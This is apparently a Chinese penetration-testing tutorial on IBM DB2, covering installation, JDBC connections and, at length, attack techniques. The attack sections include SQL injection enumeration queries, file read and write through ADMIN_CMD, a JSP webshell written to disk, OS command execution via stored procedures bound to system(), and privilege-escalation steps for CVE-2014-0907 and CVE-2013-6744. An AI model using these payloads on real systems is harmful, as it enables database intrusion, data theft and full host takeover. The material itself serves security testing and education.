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DB2在渗透中的应用

0x00 DB2简介

DB2是IBM公司推出关系型数据库管理系统。

现今DB2主要包含以下三个系列:

  • DB2 for Linux, UNIX and Windows(LUW)
  • DB2 for z/OS
  • DB2 for i(formerly OS/400)

IBM DB2定位于高端市场,广泛应用于企业级应用中

0x01 DB2的安装

以下两小节分别介绍DB2在Linux和Windows平台下的安装,安装的版本都为V9.5版本

DB2在Linux下的安装

在Linux下DB2依赖compat-libstdc++库,安装DB2之前需要先行安装该库

安装上述库完成后运行DB2安装程序中的db2setup启动图形化安装界面

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DB2在安装过程中会创建db2inst1、db2fenc1以及dasusr1三个用户,此三个用户会加入到系统中成为系统的用户,也可以在安装之前就创建

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安装完成后切换到db2inst1用户,运行db2cc启动图形化控制中心(DB2从V10.1版本开始不再包含图形化的控制中心,可使用命令行或IBM提供的Data Studio工具管理)

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DB2在Windows下的安装

运行安装程序中的setup.exe程序开始安装,安装过程中会创建db2admin用户,并将该用户添加到管理员组中

安装完成后启动控制中心

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0x02 DB2的使用

DB2服务及端口

DB2各项服务名称及端口可使用以下方法查看:

Linux:

/etc/services 文件 

Windows:

C:/Windows/System32/drivers/etc/services文件 

DB2默认监听连接的端口为50000

DB2的用户

DB2的所有用户都是操作系统用户,且用户密码也与操作系统中该用户的密码绑定。

Linux下,安装DB2会创建db2inst1,db2fenc1和dasusr1三个用户。Windows下,会创建db2admin用户并将其添加到管理员组。

本地操作系统用户并不全为DB2用户,需要在DB2管理功能中添加操作系统用户为数据库用户。

本地管理DB2

命令行方式

本地管理DB2数据库可以使用命令行或图形化工具

IBM DB2 Universal Database(UDB)命令行处理器(CLP)是用于访问 DB2 函数的方便接口,CLP 接受来自 DB2 命令行的命令或 SQL 语句。

在基于Linux 和 UNIX 的系统中,这个命令行是 DB2 实例的命令行。

在Windows 操作系统中,它是启用了CLP 命令窗口的命令行;在这种情况下,必须先(从普通命令窗口)运行 db2cmd 命令来启动 DB2 命令行环境。

Windows下的命令行:

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Linux下的命令行:

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命令行的详细使用方法及语法可参考IBM官方文档

图形界面方式

可使用DB2的控制中心在本地使用图形化方式管理DB2,如下:

Windows:

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Linux:

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注:DB2从V10.1版本开始不再包含图形化的控制中心,可IBM提供的DataStudio工具替换

远程管理DB2

远程管理DB2也有命令行和图形化两种方式,使用命令行方式需要安装DB2客户端,可在IBM官网上下载。

远程图形化管理可以使用Quest Centor for DB2工具。使用该工具也需要安装DB2客户端。

该工具使用方法如下:

右键添加DB2服务器:

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配置DB2服务器的地址和操作系统:

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配置节点名称,实例名称和数据库端口:

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在实例上右键管理登录配置登录凭证:

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在实例上右键添加数据库:

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添加后情况:

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执行SQL语句:

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在JAVA程序中连接DB2

JAVA程序连接DB2有四种方式TYPE1、TYPE2、TYPE3、TYPE4,其中TYPE2和TYPE4应用较广泛,四种方式的基本架构如下:

TYPE1:

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TYPE2:

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TYPE3:

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TYPE4:

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下面介绍使用TYPE2和TYPE4方式连接DB2的方法

使用TYPE2方式必须安装DB2客户端,在客户端中添加相关数据库并设置别名,可使用客户端命令行或图形化工具“配置助手”添加,如下图

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使用TYPE2类型有两种方法:

方法一:

驱动程序位于db2jcc.jar包中,且在Windows下JDK必须可以访问到db2jdbc.dll和db2jcct2.dll,db2jdbc.dll和db2jcct2.dll位于DB2客户端程序SQLLIB/BIN目录下

连接代码如下:

#!java Class.forName("com.ibm.db2.jcc.DB2Driver").newInstance();        conn = DriverManager.getConnection("jdbc:db2:TESTDB2", "db2admin", "123456"); 

其中 jdbc:db2:TESTDB2 中的 TESTDB2 即为之前在客户端中添加的数据库别名

方法二:

驱动程序位于db2java.zip包中,且在Windows下JDK必须可以访问到db2jdbc.dll,db2jdbc.dll位于DB2客户端程序SQLLIB/BIN目录下

连接代码如下:

#!java Driver driver=(Driver) Class.forName("COM.ibm.db2.jdbc.app.DB2Driver").newInstance();  DriverManager.registerDriver(driver); conn = DriverManager.getConnection("jdbc:db2:TESTDB2", "db2admin", "123456"); 

其中 jdbc:db2:TESTDB2 中的 TESTDB2 即为之前在客户端中添加的数据库别名

注:db2java.zip在DB2 LUW 10.1中已停用,如要使用TYPE2方式建议使用db2jcc.jar驱动程序

使用TYPE4方式连接DB2方法:

驱动程序位于db2jcc.jar包中,使用此方法应用程序所在主机不需安装任何其他程序

连接代码:

#!java Class.forName(com.ibm.db2.jcc.DB2Driver).newInstance(); conn =DriverManager.getConnection(jdbc:db2://192.168.60.144:50000/TESTDB2, db2admin, 123456); 

注:

  1. TYPE4需设置数据库的编码为utf-8否则报错
  2. TYPE4还需要db2jcc_license_cu.jar

上述驱动程序所在包db2jcc.jar、db2jcc_license_cu.jar、db2java.zip均可在DB2服务器安装目录下找到,例如在Windows版本V9.5中位于DB2安装目录下的SQLLIB/java目录

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db2jcc.jar与db2java.zip驱动程序在错误处理方面有所不同

查询在DB2服务器端出现错误时,db2java.zip驱动程序会将DB2服务器产生的错误信息原样返回给应用程序,而db2jcc.jar驱动程序使用了自定义的错误信息。

db2java.zip的错误信息:

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db2jcc.jar的错误信息:

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0x03 DB2 SQL注入相关问题

获取DB2数据库信息的语句

获取数据库版本:

#!sql SELECT service_level FROM table(sysproc.env_get_inst_info()) as instanceinfo 

获取当前用户:

#!sql SELECT user FROM sysibm.sysdummy1 SELECT session_user FROM sysibm.sysdummy1 SELECT system_user FROM sysibm.sysdummy1 

获取数据库的用户:

#!sql SELECT distinct(authid) FROM sysibmadm.privileges SELECT distinct(grantee) FROM sysibm.systabauth 

获取数据库表的权限:

#!sql SELECT * FROM syscat.tabauth 

获取当前用户的权限:

#!sql SELECT * FROM syscat.tabauth where grantee = current user 

列出数据库的DBA账户:

#!sql SELECT distinct(grantee) FROM sysibm.systabauth where CONTROLAUTH='Y' 

获取当前数据库:

#!sql SELECT current server FROM sysibm.sysdummy1 

获取当前数据库中所有表:

#!sql SELECT table_name FROM sysibm.tables SELECT name FROM sysibm.systables 

获取当前数据库中所有列:

#!sql SELECT name, tbname, coltype FROM sysibm.syscolumns 

获取数据库所在主机相关信息:

#!sql SELECT * FROM sysibmadm.env_sys_info 

DB2 SQL语句特性

注释符:

DB2数据库使用双连字符 -- 作为单行注释,使用 /**/ 作为多行注释

SELECT中获得前N条记录的SQL语法:

#!sql SELECT * FROM sysibm.systables ORDER BY name ASC fetch first N rows only 

截取字符串:

#!sql SELECT substr('abc',2,1) FROM sysibm.sysdummy1 

上述语句会得到字符b

比特操作AND/OR/NOT/XOR

#!sql SELECT bitand(1,0) FROM sysibm.sysdummy1 

上述语句会得到0

字符与ASCII码互相转换:

#!sql SELECT chr(65) FROM sysibm.sysdummy1 

上述语句会得到字符’A’

#!sql SELECT ascii('A') FROM sysibm.sysdummy1 

上述语句会得到字符’A’的ASCII码65

类型转换:

#!sql SELECT cast('123' as integer) FROM sysibm.sysdummy1 

上述语句将字符串”123”转为数据123

#!sql SELECT cast(1 as char) FROM sysibm.sysdummy1 

上述语句将数字1转为字符串”1”

字符串连接:

#!sql SELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1 SELECT 'a' || 'b' || 'c' FROM sysibm.sysdummy1 

上述两个语句都会返回字符串”abc”

获取长度:

#!sql SELECT LENGTH(NAME) FROM SYSIBM.SYSCOLUMNS WHERE TBNAME='VOTE' ORDER BY NAME DESC FETCH FIRST 1 ROWS ONLY 

条件语句:

#!sql SELECT CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END FROM sysibm.sysdummy1 

上述语句将返回字符串’AAAAAAAAAA’

时间延迟:

#!sql and (SELECT count(*) FROM sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (SELECT ascii(substr(user,1,1)) FROM sysibm.sysdummy1)=68 

上述语句若user的第一个字符的ASCII码为68将造成延时

UNION操作符:

DB2支持在SELECT语句中使用UNION操作符,UNION的各列必须类型相同才不会报错。

且不能直接使用 SELECT … FROM … UNION SELECT NULL, NULL … FROM … 的方法。DB2在SELECT中使用NULL需要指定类型,如下:

#!sql select ... cast(NULL as int) as column_A, cast(NULL as varchar(128)) as column_B, ... FROM ... 

多语句查询:

DB2不支持形如statement1; statement2形式的多语句查询

DB2的SQL注入方法

对DB2进行SQL注入通用的方法是使用盲注,利用上两个小结的内容通过盲注获取数据库信息。

由于DB2的UNION操作符限制较多,因此利用UNION注入很多时候不会成功。由于DB2不支持多语句查询,因此无法通过多语句查询方法注入并调用存储过程。

另外,可利用数据库的报错信息通过SQL注入获取部分敏感信息,如下:

先使用通用的orderby方法猜出列数

在查询的条件后附加 group by 1-- 会显示本次查询的表中的第一列列名ID,之后将条件改为 group by ID-- 得到第二列的列名NAME,依次增加group by后的列名,如group by ID, NAME,将枚举当前表中的所有列

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DB2的SQL注入工具

经测试针对DB2的SQL注入工具中sqlmap相对具有可用性,部分截图如下:

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但经测试其仍然存在一些问题,如获取列信息不全、盲注功能不好用等

0x04 利用DB2读写操作系统文件

在渗透测试中可以使用DB2读写系统文件,达到获取敏感信息、写webshell等目的。

本节所描述方法在DB2 V9.5 Windows, Linux下测试成功

利用DB2读操作系统文件

DB2使用IMPORT命令从文件中读取内容并插入到数据库表中,使用方法:

#!sql IMPORT FROM C:/Windows/win.ini OF DEL INSERT INTO CONTENT 

上述命令运行后即可将C:/Windows/win.ini的内容插入到表CONTENT中

DB2的ADMIN_CMD存储过程用于执行DB2命令行(CLP)命令,其schema为SYSPROC,从8.2.2版本开始引入 该存储过程语法:

#!sql ADMIN_CMD('command_string') 

参数command_string为要运行的命令

调用存储过程使用CALL语句,语法:

#!sql CALL ADMIN_CMD('command_string') 

调用ADMIN_CMD存储过程执行IMPORT命令将文件读入数据库表方法:

#!sql CALL ADMIN_CMD('IMPORT FROM C:/Windows/win.ini OF DEL INSERT INTO CONTENT'); 

运行该存储过程的结果:

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远程连接数据库的用户可以通过调用ADMIN_CMD存储过程读取操作系统文件,经测试(DB2 V9.5)数据库普通用户默认具有调用ADMIN_CMD存储过程的权限,远程连接数据库的用户可以首先创建一个表(或对已存在的IMPORT命令涉及的表有INSERT和SELECT权限),然后调用ADMIN_CMD存储过程运行IMPORT命令将文件读入创建的表中。如下:

远程连接数据库并调用ADMIN_CMD存储过程运行IMPORT命令:

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读取的文件信息:

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利用DB2向操作系统写文件

DB2的EXPORT命令用于将数据库中的内容导入到文件中,使用语法如下:

#!sql EXPORT TO result.csv OF DEL MODIFIED BY NOCHARDEL SELECT col1, col2, coln FROM testtable; 

使用上一小节提到的ADMIN_CMD存储过程运行该命令方法:

#!sql CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:/RESULT.TXT OF DEL MODIFIED BY NOCHARDEL SELECT * FROM VOTENAME'); 

调用过程和结果:

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远程连接数据库的用户可以先创建一个表(或对EXPORT命令涉及的表具有SELECT权限),然后调用ADMIN_CMD存储过程执行EXPORT命令向操作系统写文件

向操作系统写入包含某些字符串的文件语法如下:

#!sql CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:/RESULT.TXT OF DEL MODIFIED BY NOCHARDEL SELECT ''My Content'' FROM VOTENAME FETCH FIRST 1 ROWS ONLY'); 

远程调用结果:

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利用该方法写webshell语法:

#!sql CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:/RESULT.jsp OF DEL MODIFIED BY NOCHARDEL SELECT ''<%if(request.getParameter("f")!=null){(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("c").getBytes());response.getWriter().print("[OK]");}%>'' FROM VOTENAME FETCH FIRST 1 ROWS ONLY'); 

远程调用结果:

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注:通过EXPORT向文件写入自定义字符串内容时SELECT的表中必须至少有一条记录否则写入内容为空

0x05 利用DB2执行操作系统命令

可利用DB2存储过程执行操作系统命令。远程连接数据库的用户需要具有创建存储过程的权限,连接数据库后创建一个可以执行操作系统命令的存储过程并调用。

创建此种存储过程并调用的语法如下:

Windows:

#!sql CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200)) EXTERNAL NAME 'c:/windows/system32/msvcrt!system'  LANGUAGE C  DETERMINISTIC  PARAMETER STYLE DB2SQL  CALL db2_cmd_exec ('whoami /all > C:/whoami.log') 

Linux:

#!sql CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200)) EXTERNAL NAME '/usr/lib/libstdc++.so.6!system'  LANGUAGE C  DETERMINISTIC  PARAMETER STYLE DB2SQL  call db2_cmd_exec ('whoami > /tmp/whoami.log') 

运行结果:

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注:

创建的存储过程默认为FENCED(受保护的),例如对于Linux下DB2的,使用db2inst1用户连接数据库创建并运行上述存储,DB2服务器端实际是以db2fenc1用户运行该存储过程的。

FENCED存储过程单独启用一个新的地址空间,而UNFENCED存储过程和调用它的进程使用用一个地址空间,一般来说FENCED存储过程比较安全。

若要创建NOTFENCED的存储过程(需要具有SYSADM特权、DBADM 特权或一个特殊的特权(CREATE_NOT_FENCED)),需要在创建存储过程中指定,如下

#!sql CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200)) EXTERNAL NAME '/usr/lib/libstdc++.so.6!system'  LANGUAGE C  DETERMINISTIC  PARAMETER STYLE DB2SQL NOT FENCED 

0x06 利用DB2提权

本节介绍两个DB2提权漏洞原理及利用方法

CVE-2014-0907

CVE-2014-0907是一个DB2本地提权漏洞,受影响版本为AIX, Linux, HP-UX以及Solaris上的DB2 V9.5(FP9之前的V9.5不受影响), V9.7, V10.1, V10.5版本

CVE-2014-0907漏洞允许一个本地普通用户获取到root权限

DB2的db2iclean程序会在当前目录下搜索libdb2ure2.so.1库文件,下图为执行该程序时对库文件的访问情况,可见DB2对于libdb2ure2.so.1库文件的搜索在当前目录先于DB2安装目录

#!sql strace -o /tmp/db2iclean.log  /home/db2inst1/sqllib/adm/db2iclean 

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如果当前目录下有恶意用户写入的同名库文件,则DB2程序会加载该文件并执行其中的代码。由于db2iclean命令是SUID root权限,因此恶意代码会以root权限被运行。

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如将下列代码编译为库文件并放在当前目录下:

#!cpp // libdb2ure2.cpp #include <stdlib.h> int iGetHostName(char* n, int i) {     system("id > /m.log"); }  $ gcc -shared -o libdb2ure2.so.1 libdb2ure2.cpp 

使用db2iadm1组的普通用户运行db2iclean程序:

#!sql <DB2_instance_install_directory>/adm/db2iclean 

可见此时euid为0,代码以root权限运行

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注意:由于db2iclean不是公开执行权限,所以攻击者需要使用db2iadm1组用户执行,或诱使该组成员在攻击者写入了恶意库文件的目录下执行该程序。

CVE-2013-6744

CVE-2013-6744是DB2在windows平台下的提权漏洞,利用该漏洞将使windows普通用户获取到Administrator权限

存在漏洞的DB2版本:

  • 9.5, 9.7 FP9a之前版本
  • 10.1 FP3a之前版本
  • 10.5 FP3a之前版本

利用该漏洞需要有一个可以连接DB2数据库的用户,且该用户具有创建外部例程的权限(CREATE_EXTERNAL_ROUTINE)

该漏洞原理为:在Windows平台特权帐户默认情况下,DB2服务运行时并不受访问控制检查,这意味着可以通过CREATE_EXTERNAL_ROUTINE权限创建一个库文件并且形成调用,从而权限得以提升。

漏洞利用步骤:

1.使用具有CREATE_EXTERNAL_ROUTINE权限的用户运行以下DDL,利用C runtime system来创建一个存储过程:

#!sql CREATE PROCEDURE db2_exec (IN cmd varchar(1024)) EXTERNAL NAME 'msvcrt!system' LANGUAGE C DETERMINISTIC PARAMETER STYLE DB2SQL 

2.调用刚才创建的存储过程:

#!sql CALL db2_exec('whoami /all > C:/whoami.log') 

查看命令创建的whoami.log文件,发现包含了db2admin信息。这意味着,我们用一个非管理员账户成功用管理员权限执行了命令。

0x07 参考

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